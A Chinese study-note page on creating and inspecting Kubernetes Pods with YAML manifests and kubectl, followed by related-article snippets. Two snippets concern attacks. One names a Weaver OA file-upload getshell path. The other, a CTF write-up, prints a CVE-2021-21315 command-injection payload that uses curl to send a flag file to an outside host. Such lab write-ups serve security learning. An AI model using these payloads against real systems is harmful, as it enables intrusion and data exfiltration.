學習筆記十五:基于YUM文件運行POD應用

基于YUM文件運行POD應用

  • 通過資源清單文件創建第一個Pod
      • 更新資源清單文件
      • 查看pod是否創建成功
      • 查看pod的ip和pod調度到哪個節點上
      • 假如pod里有多個容器,進入到pod里的指定容器
      • 查看pod詳細信息
      • 查看pod具有哪些標簽:
      • 刪除pod
      • 通過kubectl run創建Pod
  • Pod資源清單字段解讀
      • Pod資源清單編寫技巧
      • 查看pod.metadata字段如何定義
      • 查看pod.spec字段如何定義
      • 查看pod.spec.containers字段如何定義
      • 查看pod.spec.container.ports字段如何定義

通過資源清單文件創建第一個Pod

解壓鏡像:把tomcat.tar.gz上傳到k8snode1和k8snode2節點
鏈接:https://pan.baidu.com/s/1qLcoJDqYSC9dfiDcWY-s0g?pwd=44ad
提取碼:44ad

ctr -n=k8s.io images import  tomcat.tar.gz
vim pod-first.yaml
apiVersion: v1
kind: Pod
metadata:name: tomcat-testnamespace: defaultlabels:app:  tomcat
spec:containers:- name:  tomcat-javaports:- containerPort: 8080image: tomcat/tomcat-8.5-jre8:v1imagePullPolicy: IfNotPresent

更新資源清單文件

kubectl apply -f pod-first.yaml 

查看pod是否創建成功

kubectl get pods -l app=tomcat

查看pod的ip和pod調度到哪個節點上

kubectl get pods -owide

查看pod日志

kubectl logs tomcat-test

進入到剛才創建的pod,剛才創建的pod名字是tomcat-test

kubectl exec -it tomcat-test  -- /bin/bash

假如pod里有多個容器,進入到pod里的指定容器

kubectl exec -it tomcat-test -c tomcat-java -- /bin/bash

查看pod詳細信息

kubectl describe pods tomcat-test

查看pod具有哪些標簽:

kubectl get pods --show-labels

刪除pod

#kubectl delete pods tomcat-test
kubectl delete -f pod-first.yaml

我們上面創建的pod是一個自主式pod,也就是通過pod創建一個應用程序,如果pod出現故障停掉,那么我們通過pod部署的應用也就會停掉,不安全, 還有一種控制器管理的pod,通過控制器創建pod,可以對pod的生命周期做管理,可以定義pod的副本數,如果有一個pod意外停掉,那么會自動起來一個pod替代之前的pod

通過kubectl run創建Pod

kubectl run tomcat --image=tomcat/tomcat-8.5-jre8:v1  --image-pull-policy='IfNotPresent'  --port=8080

Pod資源清單字段解讀

vim pod-tomcat.yaml
apiVersion: v1  #api版本
kind: Pod       #創建的資源
metadata:    name: tomcat-test  #Pod的名字namespace: default   #Pod所在的名稱空間labels:app:  tomcat     #Pod具有的標簽
spec:containers:- name:  tomcat-java   #Pod里容器的名字ports:- containerPort: 8080  #容器暴露的端口image: tomcat/tomcat-8.5-jre8:v1  #容器使用的鏡像imagePullPolicy: IfNotPresent    #鏡像拉取策略

Pod資源清單編寫技巧

通過kubectl explain 查看定義Pod資源包含哪些字段。

kubectl explain pod
KIND:     Pod
VERSION:  v1
DESCRIPTION:Pod is a collection of containers that can run on a host. This resource iscreated by clients and scheduled onto hosts.
[Pod是可以在主機上運行的容器的集合。此資源是由客戶端創建并安排到主機上。]FIELDS:apiVersion	<string>APIVersion defines the versioned schema of this representation of anobject. Servers should convert recognized schemas to the latest internalvalue, and may reject unrecognized values. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
[APIVersion定義了對象,代表了一個版本。]kind	<string>Kind is a string value representing the REST resource this objectrepresents. Servers may infer this from the endpoint the client submitsrequests to. Cannot be updated. In CamelCase. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
[Kind是字符串類型的值,代表了要創建的資源。服務器可以從客戶端提交的請求推斷出這個資源。]metadata	<Object>Standard object's metadata. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
[metadata是對象,定義元數據屬性信息的]spec	<Object>Specification of the desired behavior of the pod. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
[spec制定了定義Pod的規格,里面包含容器的信息]status	<Object>Most recently observed status of the pod. This data may not be up to date.Populated by the system. Read-only. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
[status表示狀態,這個不可以修改,定義pod的時候也不需要定義這個字段]

查看pod.metadata字段如何定義

kubectl explain pod.metadata
KIND:     Pod
VERSION:  v1
RESOURCE: metadata <Object># metadata是對象<Object>,下面可以有多個字段DESCRIPTION:Standard object's metadata. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadataObjectMeta is metadata that all persisted resources must have, whichincludes all objects users must create.FIELDS:annotations	<map[string]string>Annotations is an unstructured key value map stored with a resource thatmay be set by external tools to store and retrieve arbitrary metadata. Theyare not queryable and should be preserved when modifying objects. Moreinfo: http://kubernetes.io/docs/user-guide/annotations
# annotations是注解,map類型表示對應的值是key-value鍵值對,<string,string>表示 key和value都是String類型的

例如:

"metadata": {"annotations": {"key1" : "value1","key2" : "value2"}
}
用Annotation來記錄的信息包括:
build信息、release信息、Docker鏡像信息等,例如時間戳、release id號、鏡像hash值、docker registry地址等;
日志庫、監控庫、分析庫等資源庫的地址信息;
程序調試工具信息,例如工具名稱、版本號等;
團隊的聯系信息,例如電話號碼、負責人名稱、網址等。
   clusterName	<string>The name of the cluster which the object belongs to. This is used todistinguish resources with same name and namespace in different clusters.This field is not set anywhere right now and apiserver is going to ignoreit if set in create or update request.
#對象所屬群集的名稱。這是用來區分不同集群中具有相同名稱和命名空間的資源。此字段現在未設置在任何位置,apiserver將忽略它,如果設置了就使用設置的值creationTimestamp	<string>deletionGracePeriodSeconds	<integer>deletionTimestamp	<string>finalizers	<[]string>generateName	<string>generation	<integer>labels	<map[string]string> #創建的資源具有的標簽
Map of string keys and values that can be used to organize and categorize(scope and select) objects. May match selectors of replication controllersand services. More info: http://kubernetes.io/docs/user-guide/labels
#labels是標簽,labels是map類型,map類型表示對應的值是key-value鍵值對,<string,string>表示 key和value都是String類型的managedFields	<[]Object>name	<string>           #創建的資源的名字namespace	<string>      #創建的資源所屬的名稱空間
Namespace defines the space within which each name must be unique. An empty
namespace is equivalent to the "default" namespace, but "default" is the
canonical representation. Not all objects are required to be scoped to a
namespace - the value of this field for those objects will be empty.Must be a DNS_LABEL. Cannot be updated. More info:http://kubernetes.io/docs/user-guide/namespaces
# namespaces劃分了一個空間,在同一個namesace下的資源名字是唯一的,默認的名稱空間是default。ownerReferences	<[]Object>resourceVersion	<string>selfLink	<string>uid	<string>

查看pod.spec字段如何定義

kubectl explain pod.spec
KIND:     Pod
VERSION:  v1
RESOURCE: spec <Object>
DESCRIPTION:Specification of the desired behavior of the pod. More info:https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-statusPodSpec is a description of a pod.
#Pod的spec字段是用來描述Pod的FIELDS:activeDeadlineSeconds	<integer>
#表示Pod可以運行的最長時間,達到設置的值后,Pod會自動停止。
affinity	<Object>#定義親和性的automountServiceAccountToken	<boolean>containers	<[]Object> -required-
#containers是對象列表,用來定義容器的,是必須字段。對象列表 表示下面有很多對象,對象列表下面的內容用 - 連接。dnsConfig	<Object>dnsPolicy	<string>enableServiceLinks	<boolean>ephemeralContainers	<[]Object>hostAliases	<[]Object>hostIPC	<boolean>hostNetwork	<boolean>hostPID	<boolean>hostname	<string>imagePullSecrets	<[]Object>initContainers	<[]Object>nodeName	<string>nodeSelector	<map[string]string>overhead	<map[string]string>preemptionPolicy	<string>priority	<integer>priorityClassName	<string>readinessGates	<[]Object>restartPolicy	<string>runtimeClassName	<string>schedulerName	<string>securityContext	<Object>serviceAccount	<string>serviceAccountName	<string>setHostnameAsFQDN	<boolean>shareProcessNamespace	<boolean>subdomain	<string>terminationGracePeriodSeconds	<integer>tolerations	<[]Object>topologySpreadConstraints	<[]Object>volumes	<[]Object>

查看pod.spec.containers字段如何定義

kubectl explain pod.spec.containers
KIND:     Pod
VERSION:  v1RESOURCE: containers <[]Object>
DESCRIPTION:List of containers belonging to the pod. Containers cannot currently beadded or removed. There must be at least one container in a Pod. Cannot beupdated.A single application container that you want to run within a pod.
#container是定義在pod里面的,一個pod至少要有一個容器。FIELDS:args	<[]string>command	<[]string>env	<[]Object>envFrom	<[]Object>image	<string>
#image是用來指定容器需要的鏡像的imagePullPolicy	<string>
#鏡像拉取策略,pod是要調度到node節點的,那pod啟動需要鏡像,可以根據這個字段設置鏡像拉取策略,支持如下三種:
Always:不管本地是否存在鏡像,都要重新拉取鏡像
Never: 從不拉取鏡像
IfNotPresent:如果本地存在,使用本地的鏡像,本地不存在,從官方拉取鏡像lifecycle	<Object>livenessProbe	<Object>name	<string> -required-
#name是必須字段,用來指定容器名字的ports	<[]Object>
#port是端口,屬于對象列表readinessProbe	<Object>resources	<Object>securityContext	<Object>startupProbe	<Object>stdin	<boolean>stdinOnce	<boolean>terminationMessagePath	<string>terminationMessagePolicy	<string>tty	<boolean>volumeDevices	<[]Object>volumeMounts	<[]Object>workingDir	<string>

查看pod.spec.container.ports字段如何定義

kubectl explain pod.spec.containers.ports
KIND:     Pod
VERSION:  v1
RESOURCE: ports <[]Object>
DESCRIPTION:List of ports to expose from the container. Exposing a port here gives thesystem additional information about the network connections a containeruses, but is primarily informational. Not specifying a port here DOES NOTprevent that port from being exposed. Any port which is listening on thedefault "0.0.0.0" address inside a container will be accessible from thenetwork. Cannot be updated.ContainerPort represents a network port in a single container.
FIELDS:containerPort	<integer> -required-Number of port to expose on the pod's IP address. This must be a valid portnumber, 0 < x < 65536.
#containerPort是必須字段, pod中的容器需要暴露的端口。hostIP	<string>What host IP to bind the external port to.
#將容器中的服務暴露到宿主機的端口上時,可以指定綁定的宿主機 IP。hostPort	<integer>Number of port to expose on the host. If specified, this must be a validport number, 0 < x < 65536. If HostNetwork is specified, this must matchContainerPort. Most containers do not need this.
#容器中的服務在宿主機上映射的端口name	<string>If specified, this must be an IANA_SVC_NAME and unique within the pod. Eachnamed port in a pod must have a unique name. Name for the port that can bereferred to by services.
#端口的名字protocol	<string>Protocol for port. Must be UDP, TCP, or SCTP. Defaults to "TCP".

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39041.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39041.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39041.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

word之插入尾注+快速回到剛才編輯的地方

1-插入尾注 在編輯文檔時&#xff0c;經常需要對一段話插入一段描述或者附件鏈接等&#xff0c;使用腳注經常因占用篇幅較大導致文檔頁面內容雜亂&#xff0c;這事可以使用快捷鍵 ControlaltD 即可在 整個行文的末尾插入尾注&#xff0c;這樣文章整體干凈整潔&#xff0c;需…

【枚舉邊+MST+組合計數】CF1857G

Problem - 1857G - Codeforces 題意&#xff1a; 思路&#xff1a; 首先觀察一下樣例&#xff1a; 可以發現對于每一對點&#xff0c;貢獻是 s - 這對點對應的環的最大邊 1 那么這樣就有了 n^2 的做法 然后&#xff0c;根據慣用套路&#xff0c;枚舉樹上的點對問題可以轉…

Prometheus的搭建與使用

一、安裝Prometheus 官網下載地址&#xff1a;Download | Prometheus 解壓&#xff1a;tar -zxvf prometheus-2.19.2.linux-amd64.tar.gz重命名&#xff1a; mv prometheus-2.19.2.linux-amd64 /home/prometheus進入對應目錄&#xff1a; cd /home/prometheus查看配置文件&am…

淺析市面電商CRM系統|排單系統存在的不足

筆者做CRM尤其是電商CRM系統7年&#xff0c;相信我的分享能夠幫助大家對電商CRM有個清晰的認知。 系統本身是用來提升效率的&#xff0c;針對不少電商賣家或服務商&#xff0c;都有使用CRM系統來管理粉絲鏈接與營銷、銷售推廣等環節&#xff0c;來實現完整的CRM鏈路。尤其是在當…

OpenCV-Python中的圖像處理-傅里葉變換

OpenCV-Python中的圖像處理-傅里葉變換 傅里葉變換Numpy中的傅里葉變換Numpy中的傅里葉逆變換OpenCV中的傅里葉變換OpenCV中的傅里葉逆變換 DFT的性能優化不同濾波算子傅里葉變換對比 傅里葉變換 傅里葉變換經常被用來分析不同濾波器的頻率特性。我們可以使用 2D 離散傅里葉變…

2308C++對稱轉移

原文 了解對稱轉移 協程組提供了個編寫異步代碼的絕妙方法,與同步代碼一樣.只需要在合適地點加上協待,編譯器就會負責掛起協程,跨掛起點保留狀態,并在操作完成后恢復協程. 但是,最初有個令人討厭的限制,如果不小心,很容易導致棧溢出.如果想避免它,則必須引入額外同步成本,以…

Unity Spine幀事件

SpinePro中添加事件幀 首先 選中右上角的層級樹 然后選擇事件選項 最后在右下角看到 新建 點擊它 新建一個事件 點擊左上角的設置按鈕 彈出編輯窗口 編輯窗口 在右上角 動畫欄 可以切換對應的動畫 點坐邊的那個小灰點來切換 亮點代表當前動畫 選中幀 添加事件 點擊對應事件…

突破防線!泛微OA任意文件上傳Getshell

子曰&#xff1a;“巧言令色&#xff0c;鮮矣仁。” 漏洞復現 訪問漏洞url&#xff1a; 存在漏洞的路徑為 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用&#xff1a; 漏洞證明&#xff1a; 文筆生疏&…

ubuntu 20.0.4 搭建nvidia 顯卡環境

一、安裝docker 1、安裝dokcer sudo apt install docker.io2、docker 添加到用戶組 創建docker用戶組 sudo groupadd docker添加當前用戶加入docker用戶組 sudo usermod -aG docker ${USER}重啟docker服務 sudo systemctl restart docker切換或者退出當前賬戶再從新登入 …

openGauss學習筆記-41 openGauss 高級數據管理-匿名塊

文章目錄 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊41.1 語法41.2 參數說明41.3 示例 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊 匿名塊&#xff08;Anonymous Block&#xff09;是存儲過程的字塊之一&#xff0c;沒有名稱。一般用于不頻繁執行的腳本或…

NPM與外部服務的集成(下)

目錄 1、撤消訪問令牌 2、在CI/CD工作流中使用私有包 2.1 創建新的訪問令牌 持續整合 持續部署 交互式工作流 CIDR白名單 2.2 將令牌設置為CI/CD服務器上的環境變量 2.3 創建并簽入特定于項目的.npmrc文件 2.4 令牌安全 3、Docker和私有模塊 3.1 背景&#xff1a;運…

了解異或的好處和用途

1.什么是異或&#xff1f; 異或&#xff1a;對于二進制&#xff0c;相同為0 不同為11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.異或的好處&#xff1f; 異或的好處&#xff1f;1.快速比較兩個值 2.xor a a例如 a 3 011xor 0110003.可以使用 異或 來使某些特定的位翻轉【原因…

移遠RM500U-CN模塊直連嵌入式ubuntu實現撥號上網

目錄 1 平臺&#xff1a; 2 需要準備的資料 3 參考文檔 4 編譯環境與驅動移植 4.1 內核驅動添加廠家ID和產品ID 4. 2.添加零包處理 4.3 增加復位恢復機制 4.4 增加批量輸出 批量輸出 URB 的數量和容量 的數量和容量 4.5 內核配置與編譯 5 QM500U-CN撥號&#xff08;在開…

Ubuntu和centos版本有哪些區別

Ubuntu和CentOS是兩個非常流行的Linux發行版&#xff0c;它們在一些方面有一些區別&#xff0c;如下所示&#xff1a; CentOS的版本發布周期相對較長&#xff0c;主要是因為它是基于RedHatEnterpriseLinux(RHEL)的。這意味著在RHEL發布后才能推出對應的CentOS版本。而Ubuntu則在…

春秋云鏡 CVE-2021-21315

春秋云鏡 CVE-2021-21315 systeminformation存在命令注入 靶標介紹 systeminformation是一個簡單的查詢系統和OS信息包。 啟動場景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登錄ceye.io平臺&#xff0c;curl請求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含義

文章目錄 一、簡介二、如何使用2.1、在IDEA中安裝Lombok插件2.2、添加maven依賴 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用簡寫技巧總結

平時我們寫代碼時最高級的境界是自己寫的東西別人看不懂&#xff01;哈哈哈&#xff01;分享一些自己常用的js簡寫技巧&#xff0c;長期更新&#xff0c;會著重挑選一些實用的簡寫技巧&#xff0c;使自己的代碼更簡潔優雅~ 這里只會收集一些大多數人不知道的用法&#xff0c;但…

MySQL新的版本發布模型 - 創新版本和長支持版本

2023年7月18日&#xff0c;MySQL發布了最新數據庫服務器版本8.1.0&#xff0c;其中變化最大的是MySQL采用了新的版本發布模型。本文是官方博客的中文摘抄和個人理解&#xff0c;原文更精彩: https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-su…

網絡原理(JavaEE初階系列11)

目錄 前言&#xff1a; 1.網絡原理的理解 2.應用層 2.1自定義協議的約定 2.1.1確定要傳輸的信息 2.1.2確定數據的格式 3.傳輸層 3.1UDP 3.1.1UDP報文格式 3.2TCP 3.2.1確認應答 3.2.2超時重傳 3.2.3連接管理 3.2.3.1三次握手 3.2.3.2四次揮手 3.2.4滑動窗口 3.…

bigemap如何添加mapbox地圖?

第一步 打開瀏覽器&#xff0c;找到你要訪問的地圖的URL地址&#xff0c;并且確認可以正常在瀏覽器中訪問&#xff1b;瀏覽器中不能訪問&#xff0c;同樣也不能在軟件中訪問。 以下為常用地圖源地址&#xff1a; 天地圖&#xff1a; http://map.tianditu.gov.cn 包含&…